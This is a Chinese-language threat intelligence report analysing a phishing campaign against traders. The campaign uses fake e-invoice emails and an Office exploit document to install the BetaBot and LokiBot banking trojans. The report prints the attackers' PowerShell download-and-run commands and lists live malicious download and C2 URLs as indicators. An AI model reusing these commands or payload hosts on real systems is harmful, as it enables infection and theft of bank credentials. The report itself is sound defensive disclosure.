概述

电信网络诈骗犯罪让民众蒙受巨大损失。在持续高发的电信网络诈骗案中,不法分子依托电信互联网络,利用各种技术手段,假冒亲属朋友、公职人员,跨国、跨境、跨区域诱骗群众、诈骗钱财。

而在这些案例中,利用电子发票通知函为主题的钓鱼邮件攻击手段历史已久,就如此前我们捕获的以顺丰电子发票为主题的钓鱼邮件,该类钓鱼邮件的附件和链接打开后其实为一个钓鱼网站,用于进行用户账号密码盗取。

而这类攻击背后,往往是一个装备精良,组织有序的黑产团伙在进行运营活动,而投放钓鱼邮件进行攻击仅仅是团伙在这条黑色产业链上的一部分。

而奇安信威胁情报中心红雨滴安全研究团队于近日捕获的一封钓鱼邮件的攻击手法却有所不同,其使用了附件为漏洞利用文档的手法进行攻击,试图通过漏洞触发后的木马感染用户电脑,从而窃取个人资产。由于本次攻击涉及目标为经商人员,且中招人员涉及中国台湾等多省份,因此在判定攻击具有针对性后,我们对攻击进行剖析以及攻击者背景进行研判后向公众进行细节披露,希望公众增强对钓鱼邮件的真伪识别能力。

基于我们对团伙历史活动的总结,从2019年4月15日开始进行的样本测试,到整个5月的攻击活动,无不体现出这起攻击背后的黑产团伙对于武器部署到运用的经验之丰富。由于攻击背后的团伙最终目的为针对电信和经商用户的银行账号进行财产窃取,因此我们将该团伙命名为:银钩,意指利用银行木马作为诱饵,等待猎物上钩之意。国外安全公司Cybereason在2018年10月曾对此团伙的活动做过分析揭露,其最早被发现的活动早在2012年,我们当前观察到的为其最新的攻击活动。

诱饵分析

红雨滴安全研究团队初始捕获的银钩组织样本为针对中国台湾省的eml文件:“中華電信108年05月電子發票通知函_[發票號碼:NJ06424209].eml”。

邮件内容可见,攻击者为了引诱受害者打开附件文档,故意将邮件中的兑奖方式标红,使得受害者有打开电子发票查看信息的欲望,同时对于经商人员来说,发票是一个重要报销手段,因此同样有理由打开附件文档。

图1.1 截获到的邮件截图

发送的附件是一个以发票编号为名的doc文件,而该附件使用了CVE-2018-11882漏洞;通过奇安信多维度数据的关联分析,确认本波攻击中大陆也有很多受害者,而受害者一般做外贸生意,且经常使用网银。

图1.2 标记为CVE-2018-11882漏洞

通过对邮件分析,可以发现其伪造中華電信電子發票 <invoice@cht.com.tw>的官方邮箱代发,而实际发件人为:help@go.maxshippingline.nl;

图1.3 邮件头截图

样本分析

对上述样本的技术分析显示其最后会加载一个BetaBot木马,并与C2连接实现远程控制,控制操作受害者的电脑窃取用户网银中的钱。

RTF文件分析

样本中包含的RTF是经过简单混淆的文件,使用红雨滴团队的分析工具提取出shellcode后进行分析。

图2.1 RTF文件内容截图

图2.2提取出来的stream为Equation2版本

Shellcode会通过调用rundll32javascript:"..mshtml,RunHTMLApplication去执行一个远程的HTA文件:

图2.2 RunHTMLApplication执行远程HTA文件

和0xa6异或解密js的下载地址,地址为pastebin上的一个地址:

https://pastebin.com/raw/1fFneMx6

图2.3 xor出js的下载地址

该js的内容会执行一段powershell命令。

图2.4 js的内容

Base64解码出powershell命令的功能为从如下的URL下载femi.exe到temp的nvbackend.exe并通过js脚本执行起来:

iex ((new-object net.webclient).downloadfile("http://asia-kunsthandwea1-online.com/cs/femi.exe","$env:temp vbackend.exe"));

从远程地址下载回来femi.exe,进行分析。

femi.exe分析

MD5:6B4384B706D7FA925BDCEEB5B21C855C

该样本是nsis打包的一个文件,主要是为了躲避杀毒软件的静态查杀,该文件会释放一个foreandafters.dll,并通过nsis加载起来;而“Infamy”这个文件是加密的数据文件,后续会被foreandafters.dll和shellcode多次解密并加载。

图3.1 femi.exe的nsis结构

图3.2 nsis脚本加载foreandafters.dll

foreandafters.dll分析

MD5:6e17b30ff21d147b4b11329b0e88d0f7

该dll的导出模块名为_UseBayonet64.dll,导出表为cmpint:

图4.1foreandafters.dll的PE信息

该dll的代码中加入了大量垃圾指令:

图4.2 加入大量垃圾指令的代码

图4.3 加入大量垃圾指令的代码

0x10003010处的数据异或0x1a解密出shellcode并执行:

图4.4 解密0x10003010处的shellcode

执行shellcode的入口Call,传递的参数指针为0x12fb64,其中包括GetProcAddress的地址、GetModuleHandleA的地址和“Infamy”字符串的地址:

图4.5 传递的参数指针的内容

被执行起来的shellcode首先会读取“Infamy”文件的内容,从该文件的偏移0x0->0x22d取出XOR的Key(共0x22d字节的key);和后续的0x22d->0x22d+0x4c00+0x918的数据单字节异或解密出shellcode,传递kernel32.dll的基址和GetProcAddress的地址,并直接Call shellcode0x855偏移处的代码(这次使用的数据大小为0x22d+0x4c00+0x918=0x5745;大概为21kb,而“Infamy”文件总大小为303kb,后面的数据会在后面的shellcode中被多次解密使用):

图4.6 解密文件并执行shellcode

执行的第二层shellcode的0x855偏移函数,传递的参数是一个指针;该指针包括:

第一个int:kernel32的基地址

第二个int:GetProcAddress的地址

第三个int:读取到的“Infamy”文件的内容的地址

第四个int:后续代码在Infamy内容中的偏移,就是前面解密shellcode的末尾

图4.7 为第二层shellcode传递的参数指针

第二层shellcode从解密后的数据的0x855偏移处执行,里面包含很多拼串的代码:

图4.8 第二层shellcode的入口处

第二层shellcode会在内存加载一个dll:

图4.9 第二层shellcode在内存中加载的dll

加载的dll名字为:AlienwareAlienFXTester.resources.dll

AlienwareAlienFXTester.resources.dll分析

MD5:7535b629bc5cc8d4aad65d0d34c84fd3

版本信息伪装成Alienware AlienFX的信息:

图5.1 AlienwareAlienFXTester.resources.dll的版本信息

该dll的大部分代码也跟foreandafter.dll一样,同样插入了很多垃圾指令:

图5.2 大量垃圾指令的AlienwareAlienFXTester.resources.dll

该dll刚开始会通过调用CryptDecrypt 10万次,来起到Sleep的作用:

图5.3 延时执行代码的函数

然后会同样读取同目录下的“Infamy”文件,并定位到0x5745的位置。

图5.4 读取同目录下“Infamy”文件

先用“Infamy”和前面的557字节循环异或生成一个557字节的字典:

图5.5 循环异或生成字典

用生成的字典循环异或解密下面的数据:

图5.6密钥解密后续数据

解密后的shellcode又会被在内存中加载起来:

图5.7 执行shellcode

该shellcode传递的参数分别为:待注入的exe的地址、exe长度和一些API的地址:

图5.8shellcode传递的参数

该shellcode执行起来后,会起来一个nslookup.exe傀儡进程,并把该EXE写入到nslookup的进程空间中执行:

图5.9shellcode执行起来的傀儡进程

被写入到傀儡进程中的EXE文件MD5为:1f24cb3c78041fb51455369e03732258,这就是BetaBot家族的银行木马。

BetaBot家族样本分析

该样本的MD5为:1f24cb3c78041fb51455369e03732258,是一个EXE文件:

图6.1 exe入口处代码

首先会检测虚拟机,如果在虚拟机运行,会一直等待下去,并不会执行后面的代码;虚拟机的字符串解密算法为单字节异或0x7a,通过枚举Services服务的注册表键值是否包含VMTools、VBoxGuest和VMware, Inc 来判断是否在虚拟机中:

图6.2 检测虚拟机代码

然后会从自身文件头位置开始查找,和一个16字节的特征去比较,找到待解密的数据的offset,得到后取offset:0x33的值为异或密钥,从offset:0x34处开始解密数据,数据长度为offset:0x17-0x20的值:

图6.2 从自身文件查找资源文件

图6.3 解密并解压数据

使用XOR解密并解压后,发现是一个PE文件,该PE会在内存中加载起来,并连接C2:kkrudy[.]com:

图6.4 解密后的PE

内存中解密的该exe是一个远控文件,提过提取字符串,看到一些检测杀软的字符串:

图6.5 BetaBot木马中检测杀软的字符串

通过对该木马的一些特征字符串的搜索,发现一个木马配置器有同样的字符串,通过该配置器配置出来一个木马文件,该配置器的标题为BetaBotBuilderGUI,猜测为BetaBot家族的木马配置器:

图6.6 BetaBot木马配置器

通过比较发现这个木马和前面分析的EXE木马的文件完全一样,所以之前分析的EXE是BetaBot家族的银行木马:

图6.7 BetaBot配置器生成的BetaBot木马

该家族远控的控制界面为Web版本:

图6.8 BetaBotWEB控制端

通过对恶意代码的分析,绘制该恶意代码的执行流程图如下:

图6.9 该恶意代码执行流程图

Betabot(又名Neurevt),是一种复杂的恶意软件,自2012年底首次出现以来发生了重大变化。Betabot最初是作为银行恶意软件出现的,后来演变为密码窃取者。最终,它变成了一个能够提供勒索软件的僵尸网络。

Betabot的主要功能包括:

1、浏览器用户凭据抓取器(Form grabbing)

2、FTP和邮件客户端窃取模块

3、盗窃银行账号模块

4、运行DDOS攻击

5、USB感染模块

6、强大的用户态Rootkit(x86 / x64)

7、通过shell执行任意命令

8、能够下载其他恶意软件

9、驻留自身在系统

10、虚拟货币挖矿模块(2017年新增)

11、分发勒索软件

该恶意软件已在地下黑市上做广告进行销售,售价约为120美元。然而,由于最近发现了Betabot生成器的破解版本,因此其他网络犯罪分子都可以直接利用Betabot生成器构造样本而不从作者处购买,因此导致Betabot的变种增加。“

分析溯源

由于该木马作者使用pastebin存放hta payload,所以通过搜索pastebin,发现一些攻击者的蛛丝马迹,找到另外一个payload,创建时间分别为5月6日和5月12日:

图7.1 通过pastebin搜到的2个同源脚本

5月6日的那个脚本的powershell命令如下,该文件是一个白的putty样本,所以应该是攻击者在攻击前的测试:

iex ((new-object net.webclient).downloadfile("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe","$env:temp vbackend.exe"));

图7.2 pastebin搜到的攻击者的测试脚本

Pastebin上存的有创建时间和访问次数:

图7.3 pastebin链接的内容

统计信息显示攻击者最近2个月一直在活跃,从4月15开始,5月28的时候还在活跃(标绿色的为测试链接),大部分下载链接的网站都是被黑的网站或者攻击者的虚拟空间,攻击者把EXE放到上面去:

图7.4 pastebin关联到的同源样本

除了存放在pastebin上之外,还会把HTA脚本放到被黑的网站上;

比如如下的样本:

文件名:rfq-alp19-smkb-93790.doc

MD5:99cdf54fd36d5eb9378d3060b709a261

HTA文件存在https://silversplash925.com/windows/uloti.hta这个链接上。

图7.5shellcode解密出来的hta下载地址

图7.6 hta文件于5月28日上传到该网站

从HTA脚本中提取到下一阶段的exe的地址为:

http://www[.]medicmanual[.]com/ecom/RFQ-ALP19-SMKB-93790.exe

图7.7 NSIS解包后的RFQ-ALP19-SMKB-93790.exe文件

而该网站是一个卖珠宝钻石的网站:

图7.8 被黑的网站主页

另外攻击者也会直接以EXE的形式投递的恶意代码,伪装订单信息,后缀为-JPG:

文件名:NEW PO -JPG.exe

MD5:371f8753efa5ed1f90c55211b8631e5e

LoadDll名:buttonholes.dll

图7.9 VT关联到的exe形式投递的样本

下表为找到的NSIS类型的Dropper的统计信息,“Load Dll”表示NSIS包里加载shellcode的dll的名字;通过shellcode的创建时间可以推测攻击者的活跃时间一般是在每天的3到10点左右:

另外攻击者除了传播BetaBot家族木马外,还会传播另外的一个家族:

通过前面的http://imhafiz[.]info/iyk.exe这个链接下载到的木马为通过Uber开源程序里面插入恶意代码的形式做静态免杀:

图7.10 iyk.exe木马的版本信息

作者在正常的代码里插入恶意代码,而且被插入的恶意代码里也插入了很多垃圾代码;

首先分配内存空间,解密shellcode并复制到分配的内存空间,通过EnumWindowStations回调的形式执行shellcode:

图7.11 为后续恶意代码分配内存

图7.12 未解密的shellcode

图7.13 通过EnumWindowStations回调的方式执行shellcode

被执行起来的shellcode会解密文件本身包含的PE(恶意代码),复写到自身的进程空间中,并执行起来恶意代码,同时释放自身到%appdata% E8C536[随机]003F6[随机].exe目录,并设置文件属性为隐藏加系统保护,然后自删除;

最后连接http://ikoyiclub55[.]co.uk/cell/fre.php地址,建立C2通信,从而控制受害者电脑。

图7.14 释放的恶意文件

该恶意代码家族属于LokiBot网银木马家族:

图7.15 LokiBot的特征字符串

会窃取各种浏览器的账号和密码和一些其他应用的密码:

图7.16 窃取的密码覆盖主流浏览器

此外,而在对攻击者的投放邮箱help@go.maxshippingline.nl进行分析时,发现maxshippingline.nl开放了opendir目录。初步可见其上传了PHPMailer用于邮件服务器搭建。

图7.17 攻击者OpenDir目录

而在翻看目录时,发现该攻击者还制造了物流页面,猜测为攻击者在发放钓鱼邮件中,将链接指向了该目录,在收集受害者IP地址等信息的同时,欺骗受害者认为其有从中国过来的包裹(或者包裹已经到达目的地)。

图7.18 攻击者制造的物流页面

受害者分析

为了对银钩团伙的攻击目标进一步分析,因此我们对全国范围内的受害者进行地域分析后,显示受害者分布(如下图,红为高,黄为中,绿表示暂未发现感染)均地处东部沿海地区省市,且均以经商贸易而闻名四海,因此可以确认攻击者目标确为经商地区。

图8.1 受害者分布区域

总结

无论是BetaBot还是Lokibot,都是一种非常常见并且制造工具已经曝光的银行木马,但偏偏是这么常见的木马,却可以造成大面积的感染,主要取决于攻击者的攻击手段以及社会工程学的能力。

而本次披露的银钩团伙,从其在制造诱饵和更新木马loader的频率之快,可以看出团伙成员异常勤奋,为了逃避免杀和制造更新颖的攻击手法而下了大功夫。

而攻击者在频繁的更新并发起攻击的同时,奇安信威胁情报中心红雨滴安全研究团队也同样在更新木马防护规则,提升企业防护能力。

图9.1 奇安信威胁情报平台检测结果

图9.2 奇安信安全助手报警截图

并且,由于攻击者普遍的往一些做生意的人的邮箱投递鱼叉邮件,最后下发BetaBot银行木马来控制目标电脑,盗取钱财,因此,奇安信威胁情报中心再次提醒经商人员,小心来历不明的钓鱼邮件,切勿点击,勿轻信。

IOCs

投递邮件

9374d7fe2af67cb0ac37bb39285b945c

db346a742e166c827059733cf472fb1d

诱饵文档

6a8bd2554a4e06ee6cf6e77d6e7102c6

恶意网站

http://maxshippingline.nl/

C2:

kkrudy[.]com

http://imhafiz.info/iyk.exe

http://asia-kunsthandwea1-online.com/cs/femi.exe

http://empire-eyewear.com/bin/099.exe

http://empire-eyewear.com/logs/81.exe

http://krosnovunderground.se/smfbk.exe

http://shapemix.com/downloads/temp/john.exe

https://silversplash925.com/windows/uloti.hta

http://www.medicmanual.com/ecom/RFQ-ALP19-SMKB-93790.exe

http://ikoyiclub55[.]co.uk/cell/fre.php

文件Hash:

BetaBot家族

07894a83dca4076459c69be5e2e9be33

2642dff93a0c1fd22d15933c9663742e

326997eacb1768dd3b48a199c00ddeae

3c97c5e17f542cf365f9cb80668b402a

4ee007842cf66de2f254df340370f6e2

641b9bfc958f8dcb068fa6301e0773da

6ecfad824e6ca5e5467bc933ea6e59ac

76d8f8b244ac2c0b78f530ac8c6d518d

9b34f5f0199cf442c23776edefaf5f29

c26817c749eed18347d9278aca4685d3

f59ace76077efd55b8f780d640e42cd4

f984375f3aed4232f0dfecf7649c15c9

fa1ca26a88719781d1b6e2aa7846b58e

ff8d8ea014b6d8eb99c26114a583e7b8

0e5c975fb6cbd4569b494b2d92a585f7

d41d8cd98f00b204e9800098ecf8427a

e9f0406091c6e24979d02df7e6af742c

d2744e209d4f6fd05b07473547829729

0b5dbd2725bc7b0697f9ddeab360920f

6e17b30ff21d147b4b11329b0e88d0f7

e21867fcff7cae00745fb0f90db36131

6c829b2980f1d6de35db2ab67a4c0f6e

d46d018ac1a2f3f6eae75f3d215d0a5e

1a4bb9e0e3b6263790a9601936d2b17c

40c94567948180c817be0296f38621f2

6feb298699ca485308e502405c58c2bd

0c4431f13e243eae96ccec65fc45cf38

d980c7f02ded690b6b6cf09168716d57

61d5472483fe5a53f3f3ab9f081d9685

5cdc815419fc281a71ff7f7eb7912412

35f6af03b8cb8b66a5cae79bc5523565

b8de33ba3d07116b0208cb69a5cd01ec

8c8028bfe5c2d7e8b52207dd3bc9b847

8b79059bbb792df7fd3830f0485c9dc0

90b8d36168468659f8256a1abe274744

2813d007c62993703854ed60f61a7afe

34191d0e3b96f1b5c96756a4d0048116

6a057db2863f3a185c2a41c675311c11

9e10047b114ffad661c293e5ad66f275

7509c512fd013a65b704e344021f0f69

LokiBot家族:

FA2BD7BB1323E25886677C861D1C1C80

32c2b4640ecc9b0407457499ae3d4e5f

参考资料

https://www.cybereason.com/blog/betabot-banking-trojan-neurevt

声明:本文来自奇安信威胁情报中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。